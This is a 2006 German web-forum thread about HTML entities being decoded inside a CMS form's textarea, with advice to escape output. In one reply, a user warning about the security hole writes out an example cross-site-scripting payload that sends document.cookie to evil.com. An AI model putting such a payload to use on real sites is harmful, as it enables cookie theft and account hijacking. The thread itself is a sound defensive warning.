WinFuture-Forum.de: Problem Mit Html In Textbereich Bei Formular - WinFuture-Forum.de

Zum Inhalt wechseln

Nachrichten zum Thema: Entwicklung
Seite 1 von 1

Problem Mit Html In Textbereich Bei Formular (aus ä wird ä, aus   ein Leerzeichen usw...)


#1 Mitglied ist offline   toxic.at 

  • Gruppe: aktive Mitglieder
  • Beiträge: 154
  • Beigetreten: 16. Mai 05
  • Reputation: 0

geschrieben 08. Juni 2006 - 14:16

Hallo,
bei einer Textbox in einem Formular, das ich für ein cms verwende, wird automatisch aus &auml: zb. ein "ä".
Gibts eine Möglichkeit das zu verhindern, da der HTML-Code später falsch angezeigt wird?
Danke

Dieser Beitrag wurde von toxic.at bearbeitet: 08. Juni 2006 - 14:18

0

Anzeige



#2 Mitglied ist offline   Graumagier 

  • Gruppe: aktive Mitglieder
  • Beiträge: 8.747
  • Beigetreten: 01. März 04
  • Reputation: 1
  • Geschlecht:Männlich
  • Wohnort:Graz, Österreich

geschrieben 08. Juni 2006 - 14:19

Du kannst die Eingaben mit PHP parsen.
"If you make something idiot proof, someone will invent a better idiot." - Marvin

For Emails always use OpenPGP. My KeyID: 0xA1E011A4
0

#3 Mitglied ist offline   axx 

  • Gruppe: aktive Mitglieder
  • Beiträge: 487
  • Beigetreten: 19. Mai 05
  • Reputation: 0

geschrieben 08. Juni 2006 - 14:24

Beitrag anzeigenZitat (toxic.at: 08.06.2006, 15:16)

Hallo,
bei einer Textbox in einem Formular, das ich für ein cms verwende, wird automatisch aus &auml: zb. ein "ä".
Gibts eine Möglichkeit das zu verhindern, da der HTML-Code später falsch angezeigt wird?
Danke

Wo ist das Problem? Was wird denn später unter welchen Umständen von welchem Client falsch angezeigt?
0

#4 Mitglied ist offline   toxic.at 

  • Gruppe: aktive Mitglieder
  • Beiträge: 154
  • Beigetreten: 16. Mai 05
  • Reputation: 0

geschrieben 08. Juni 2006 - 14:27

Der Quellcode der zu bearbeitenden Datei automatisch in das Textfeld geladen.
Es hängt sicher mit der Textbox zusammen, denn auch bei meinem obigen Post habe ich "&auml:" mit einem Doppelpunkt, statt einem Semilikon verwenden müssen (sont wäre logischerweise autom. ein ä draus geworden).
Natrürich könnte ich mit PHP die Umlaute austauschen, aber wie mach das dann mit den Leerzeilen?

Zitat

Wo ist das Problem? Was wird denn später unter welchen Umständen von welchem Client falsch angezeigt?


Wenn ich einen Absatz einfüge "<p>&nbsp:</p>" wird dann das draus: "<p> </p>".
Dann zeigt der Browser den Absatz nicht an
0

#5 Mitglied ist offline   axx 

  • Gruppe: aktive Mitglieder
  • Beiträge: 487
  • Beigetreten: 19. Mai 05
  • Reputation: 0

geschrieben 08. Juni 2006 - 14:32

Beitrag anzeigenZitat (toxic.at: 08.06.2006, 15:27)

Wenn ich einen Absatz einfüge "<p>&nbsp:</p>" wird dann das draus: "<p> </p>".
Dann zeigt der Browser den Absatz nicht an

Ich hab's immer noch nicht. Wozu einen leeren Absatz anzeigen?
Und wozu HTML entities verwenden, wenn der verwendete Zeichensatz mit großer Wahrscheinlichkeit deutsche Umlaute enthält?

Über welches CMS sprechen wir hier eigentlich? Oder ist es dein eigenes oder ein bekanntes?
0

#6 Mitglied ist offline   Rika 

  • Gruppe: aktive Mitglieder
  • Beiträge: 11.505
  • Beigetreten: 11. Juni 03
  • Reputation: 2
  • Geschlecht:Männlich

geschrieben 08. Juni 2006 - 14:38

Du solltest alles escapen.
Ansonsten hast du gar eine Sicherheitslücke, denn ein böswilliger Mensch könnte ja <script type="text/javascript">(new Image()).src="http://evil.com/log.pl?"+document.cookie;</script> oder dergleichen reinschreiben.
Konnichiwa. Manga wo shitte masu ka? Iie? Gomenne, sonoyouna koto ga tabitabi arimasu. Mangaka ojousan nihongo doujinshi desu wa 'Clamp X', 'Ayashi no Ceres', 'Card Captor Sakura', 'Tsubasa', 'Chobits', 'Sakura Taisen', 'Inuyasha' wo 'Ah! Megamisama'. Hai, mangaka gozaimashita desu ni yuujin yori.
Eingefügtes Bild
Ja, mata ne!

(For sending email please use OpenPGP encryption and signing. KeyID: 0xA0E28D18)
0

#7 Mitglied ist offline   toxic.at 

  • Gruppe: aktive Mitglieder
  • Beiträge: 154
  • Beigetreten: 16. Mai 05
  • Reputation: 0

geschrieben 08. Juni 2006 - 14:44

Nein, ist ein .htaccess geschütztes selbstprogrammiertes php-Script

Wenns nicht anderes geht, mach ichs halt auf die nicht ganz korrekte Methode:

Vorm anzeigen der Source in der Textarea jedes "&" durch zb. "&!" ersetzten.
Dann interpretiert es die Textarea als normalen Text.

Beim Speichern das "&!" wieder in ein "&" ersetzten.
0

#8 Mitglied ist offline   Rika 

  • Gruppe: aktive Mitglieder
  • Beiträge: 11.505
  • Beigetreten: 11. Juni 03
  • Reputation: 2
  • Geschlecht:Männlich

geschrieben 08. Juni 2006 - 15:30

Nein, einfach escapen! & als & lesen und speichern, aber als & -> &amp; ausgeben.
Konnichiwa. Manga wo shitte masu ka? Iie? Gomenne, sonoyouna koto ga tabitabi arimasu. Mangaka ojousan nihongo doujinshi desu wa 'Clamp X', 'Ayashi no Ceres', 'Card Captor Sakura', 'Tsubasa', 'Chobits', 'Sakura Taisen', 'Inuyasha' wo 'Ah! Megamisama'. Hai, mangaka gozaimashita desu ni yuujin yori.
Eingefügtes Bild
Ja, mata ne!

(For sending email please use OpenPGP encryption and signing. KeyID: 0xA0E28D18)
0

Thema verteilen:


Seite 1 von 1

1 Besucher lesen dieses Thema
Mitglieder: 0, Gäste: 1, unsichtbare Mitglieder: 0